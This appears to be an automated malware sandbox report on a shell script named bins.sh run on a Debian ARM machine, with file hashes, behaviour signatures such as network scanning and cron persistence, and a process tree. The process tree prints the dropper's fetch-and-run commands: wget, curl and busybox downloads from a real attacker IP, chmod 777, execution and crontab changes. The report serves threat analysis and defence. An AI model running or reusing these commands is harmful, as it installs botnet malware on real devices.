Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    09-11-2024 17:37

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    9bba4ee40fc1f939fff061054cf330df

  • SHA1

    f27d57c589ca7606dde15a500b6289240182abd1

  • SHA256

    8aeecbca04728d12f9a2c6fc99c020f6a2a452d8818725dbcada6bc8610c85dd

  • SHA512

    a58ef1fcfd72e938d3137363918dde300be1813e9ef4e9856f3bf7fb9f92590081a19bf35cd0e40952db1f607e63da93f211da11d533af8d05274007f423dee3

  • SSDEEP

    192:ogNwwwYwWw1wBwRVwpAiwwwYwWw1wBwIp:ogNwwwYwWw1wBwRVwaiwwwYwWw1wBww

Malware Config

Signatures

  • Contacts a large (2134) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:669
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:671
        • /usr/bin/wget
          wget http://216.126.231.240/bins/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
          2⤵
          • Writes file to tmp directory
          PID:677
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:697
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
          2⤵
          • Writes file to tmp directory
          PID:700
        • /bin/chmod
          chmod 777 OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
          2⤵
          • File and Directory Permissions Modification
          PID:701
        • /tmp/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
          ./OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
          2⤵
          • Executes dropped EXE
          PID:703
        • /bin/rm
          rm OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
          2⤵
            PID:706
          • /usr/bin/wget
            wget http://216.126.231.240/bins/aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0
            2⤵
            • Writes file to tmp directory
            PID:707
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:720
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0
            2⤵
            • Writes file to tmp directory
            PID:733
          • /bin/chmod
            chmod 777 aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0
            2⤵
            • File and Directory Permissions Modification
            PID:740
          • /tmp/aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0
            ./aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:741
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:743
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:744
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:746
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:748
                • /bin/rm
                  rm aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0
                  2⤵
                    PID:761
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/pBG1nyPKdOXBDnNPF5qsAKiE9y1eQ3fQuB
                    2⤵
                      PID:764

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • /tmp/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw

                    Filesize

                    112KB

                    MD5

                    05d7857dcead18bbd86d2935f591873c

                    SHA1

                    34d18f41ef35f93d5364ce3e24d74730a4e91985

                    SHA256

                    2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                    SHA512

                    d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                  • /tmp/aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0

                    Filesize

                    177KB

                    MD5

                    786d75a158fe731feca3880f436082c0

                    SHA1

                    79ea2734e43d00cdeabed5586b2c1994d02aef3e

                    SHA256

                    5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                    SHA512

                    7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                  • /var/spool/cron/crontabs/tmp.kBRtTX

                    Filesize

                    210B

                    MD5

                    787ba35e292ffefc3471d8589382cd46

                    SHA1

                    8f43c4a7807248fa58f6bc397155a3c47e8d7b8f

                    SHA256

                    76901c4022f41e03eab55abd11a2dab58fd92c4a29e280b71ae7991a0b3dbf3b

                    SHA512

                    11baafe686b8da4402f72664b51f7766a318fb1228f765babd3254bc97919cf23adf9da3f9d28b43b074a5fa7849bbe0ac6dfb29dc66cdb55328f19739430d0b